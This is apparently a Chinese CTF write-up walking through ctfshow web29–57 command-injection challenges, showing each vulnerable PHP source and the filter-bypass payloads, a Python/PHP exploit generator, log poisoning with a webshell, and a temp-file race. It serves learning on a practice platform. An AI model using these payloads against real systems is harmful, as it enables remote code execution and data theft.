命令执行wp
记录一下自己解ctfshow-web入门-命令执行模块的题目解析
web29
打开题目就拿到了源码
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
代码审计,发现通过get传入一个参数c
然后判断c中是否存在flag并且不区分大小写,如果有flag则高亮显示代码。
否则执行传入的c。那我们尝试下面payload
https://0dda9ca6-a7fa-4a78-a477-0dcc6d6453fc.challenge.ctf.show/?c=system('ls ./');

发现网站目录下有一个flag.php,
但是flag被过滤了,需要对flag进行绕过。
绕过方法有很多种
c=system('cat fla?.php');
c=system("cat 'f'lag.php");
.....
//官方答案
echo `nl fl''ag.php`;
提交后flag藏在源代码内

web30
上来便给了源代码
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
发现对flag,system,php都进行了过滤。
其实也很好绕过换一个与system功能一样的函数,通过下面的payload
c=passthru("cat fla?.ph?");
flag在源代码中
web31
上来同样给了源代码
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
发现将flag,system,php,cat,sort,shell,.,',甚至还有空格都给过滤了
cat可以通过写成tac绕过,空格可以通过$IFS,<等来绕过
?c=passthru("tac<fla??ph?");//按道理这个payload应该能行的但是不知道为什么没生效
?c=passthru("tac%09f*");//用%09也就是URL编码后的空格绕过
?c=eval($_GET[1]);&1=system("tac flag.php");
web32
查看源代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
发现多过滤了`和echo还有;以及\,甚至连左括号都过滤掉了。这个时候可以尝试一下文件包含漏洞
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
- 后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。

然后base64解码

web33
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这一关多过滤了",但是对上一关的payload没影响,所以使用上一关的payload

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web34
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这关将:也给过滤了,但是它只对?>前面的进行过滤啊,那上一关的payload还是能用,我们换一种写法吧。
这时候我们抓包发现中间件使用的是nginx,那我们尝试读取一下nginx的日志文件。
/var/log/nginx/access.log

发现这样可以读取到日志文件,那我们尝试往日志文件中写入一句话木马。

然后尝试使用蚁剑连接

翻阅目录

web35
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
跟前面一样,就是多过滤了一个<和\=。但是全都是对?>前面的进行过滤,对后面的并没有影响

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web36
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这关又过滤了数字,也就是get里面不能写1了。那也很好绕过,直接写一个不可见字符%ff,然后后面让%ff=xxxx
?c=include$_GET[%ff]?>&%ff=php://filter/convert.base64-encode/resource=flag.php

web37
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
题目告诉我们flag在flag.php中,但是对flag进行了过滤。那我们可以使用data://伪协议直接执行base64加密后的php文件
?c=data://text/plain;base64,PD9waHAgcmVhZGZpbGUoJ2ZsYWcucGhwJyk/Pg== //其实就是<?php readfile('flag.php')?>

然后查看源代码发现flag
web38
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
此次对flag,php,以及file都过滤了,但是没对data进行过滤。所以还可以用上一关的payload
?c=data://text/plain;base64,PD9waHAgcmVhZGZpbGUoJ2ZsYWcucGhwJyk/Pg==
web39
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
可以看到它通过传入一个c然后与php拼接组成文件名然后include
那我们可以这样
?c=data://text/plain,<?= system("tac fla*.php");?>//
这个//可以把后面的.php注释掉,但是不加好像效果也一样

web40
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
可以看到这次过滤的非常全面基本上所有的特殊符号都没了,通过伪协议肯定是不行了。这。其实这里过滤的是中文的(),真的是经验太少了被吓傻了,哎。那这样便可以通过不断套函数的无参RCE
?c=highlight_file(next(Array_reverse(scandir(Current(localeconv())))));

web41
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
这题实在是没有任何头绪,查看提示。说是|或运算符并没有被过滤掉,可以通过脚本将自己想要的字符用两个没有被过滤的字符的url编码或运算得来
但是有思路不会写脚本,这里看了羽师傅的脚本
//rce_or.php用来生成可用字符的集合存放在rce_or.txt
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
利用方法
python exp.py
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

属实佩服脚本作者羽师傅
web42
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
>/dev/null表示将命令的标准输出重定向到/dev/null,也就是丢弃标准输出。2>&1表示将命令的标准错误输出(错误信息)重定向到标准输出,这样错误信息也会被丢弃。
所以直接执行命令是不会有任何显示的。
这里可以通过%0a将后面截断来绕过
c=ls%0a

发现flag所在文件
之后直接cat就好了
c=cat f*%0a
然后查看源代码发现flag
web43
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这一次不让用;和cat,用tac绕过即可

web44
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这一次不让用flag,其实我一直没用,使用f*就可以绕过了

web45
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这一次发现多过滤了个空格,有很多种绕过方式,比如
${IFS}
tac<f''lag.php%0a <与通配符一起使用可能会失效
tac<f''lag.php||
tac<f''lag.php%26 //& ,,一定要注意要url编码,不然会认为是get传参
等等

web46
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
可以看到这次又增加了**不让用数字,$,以及***
使用如下payload即可
c=tac<fl''ag.php||

web47
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这次多过滤了,more,less等等与cat类似效果的命令,但是我压根也没用到它
所以还是可以用上一关的payload
c=tac<fl''ag.php||

web48
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这一次多过滤了sed|cut|awk|strings|od|curl|`,但是我们前面的payload还是没有影响
c=tac<fl''ag.php||

web49
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这一次多过滤了%,还是可以使用上一次payload
c=tac<fl''ag.php||

web50
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了两个\x09|\x26
仍然可以使用前面的payload
tac<fl''ag.php||
web51
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这一次将tac过滤掉了
只需要这样就可以绕过
ta\c<fl''ag.php||

web52
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
可以发现这一次将<>给过滤了,但是$给放出来了
那么可以使用${IFS}代替原本的<
ta\c${IFS}fl''ag.php||
但是得到的不是正确的flag,说明flag藏在别的地方

尝试ls一下根目录

发现flag文件,尝试读取它

web53
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
这一次后面没有那个烦人的将输出隐藏了
使用下面的payload即可
ta\c${IFS}fl''ag.php

web54
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
过滤 了很多命令。 中间这些个很多的星号的内容,其实 是说,含有 cat,more这样的会被匹配,如cat 那么ca323390ft或c232fa3kdfst, 凡是按序出现了cat 都被匹配。 这时,我们不能直接写ca?因为这样是匹配不到命令的。 只能把全路径写出来,如/bin/ca?,与/bin/ca?匹配的,只有/bin/cat命令,这样就用到了cat 命令了。
于是,有了payload
?c=/bin/ca?${IFS}????.???
然后查看源码

此题还有别的做法比如
uniq${IFS}f???.php
uniq 命令主要用于去除文本文件中相邻的重复行
uniq [选项] [输入文件 [输出文件]]
如果不指定输入文件,uniq 会从标准输入读取数据;若不指定输出文件,结果会输出到标准输出。
diff 命令是一个在 Linux 系统中用于比较文本文件之间差异的命令。 此题并未过滤diff,很容易知道当前目录下有flag.php和index.php,所以可以比较这两个文件的差异,有下面的payload
diff${IFS}f???????${IFS}i????????
vi${IFS}fla?.php
web55
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
由于过滤了字母,但没有过滤数字,我们尝试使用/bin目录下的可执行程序。
但因为字母不能传入,我们需要使用通配符?来进行代替
?c=/bin/base64 flag.php
替换后变成
?c=/???/????64 ????.???

然后base64解码

web56
例题:ctfshow-web56
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
可以发现这个时候字母数字以及$都被过滤掉了,但是.没有被过滤掉。可以通过 . 来执行sh文件,但是前提是要上传一个sh文件。
我也是学习别的师傅的,附上两个我觉得写的不错的blog
https://blog.csdn.net/qq_46091464/article/details/108513145
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
原理是:我们可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
首先先写一个用post上传文件的网页
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://f6c25ff9-9ef2-4d79-a31c-4d91c81c78ab.challenge.ctf.show/" method="post"
enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
然后打开网页,我这里部署在usbwebserver里

然后抓包

然后构造poc
?c=.+/???/????????[@-[]
注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。
多尝试几次就能条件竞争成功

然后我们修改命令为直接读取flag

web57
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
此题将数字,字母,以及点都给过滤了。所以上一题的做法也不能用了。我实在是没招了,看了下wp发现可以这样做。
由于本题并没有过滤$()所以。
在 Bash 中,$(( ))是用于进行算术运算的结构。在这个结构里,能够运用常见的算术运算符(像+、-、*、/等)以及位运算符(像~、&、|等)。
$(() )由于里面为空,所以它的值是 0。这类似于数学里一个空的表达式,其结果就为 0。
- 因为
$(())的值为 0,在二进制里,整数 0 一般以 32 位或者 64 位的二进制形式来表示,例如 32 位的0表示为0000 0000 0000 0000 0000 0000 0000 0000。 - 对其进行取反操作
~0,得到1111 1111 1111 1111 1111 1111 1111 1111。在计算机中,整数采用补码表示,最高位是符号位,1代表负数。补码转换为原码的方法是:符号位不变,其余位取反再加 1。所以1111 1111 1111 1111 1111 1111 1111 1111转换为原码就是1000 0000 0000 0000 0000 0000 0000 0001,也就是 -1。
$(( $((~$(()))) $((~$(()))) ))这里有两个$((~$(()))),其值都为 -1,它们之间没有运算符,在算术运算里就相当于相加,即(-1)+(-1),结果是 -2。
- -2 的 32 位二进制补码表示是
1111 1111 1111 1111 1111 1111 1111 1110。 - 对其进行取反操作,得到
0000 0000 0000 0000 0000 0000 0000 0001,也就是 1。
本题告诉我们flag在36.php中,所以我们要构造出36。也就是37个$((~$(()))),然后取反得到36。
所以payload如下
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
然后查看源代码就可以得到flag
以上wp为web27-57的内容,其中web29-41为代码命令执行部分,web42-57为命令执行部分。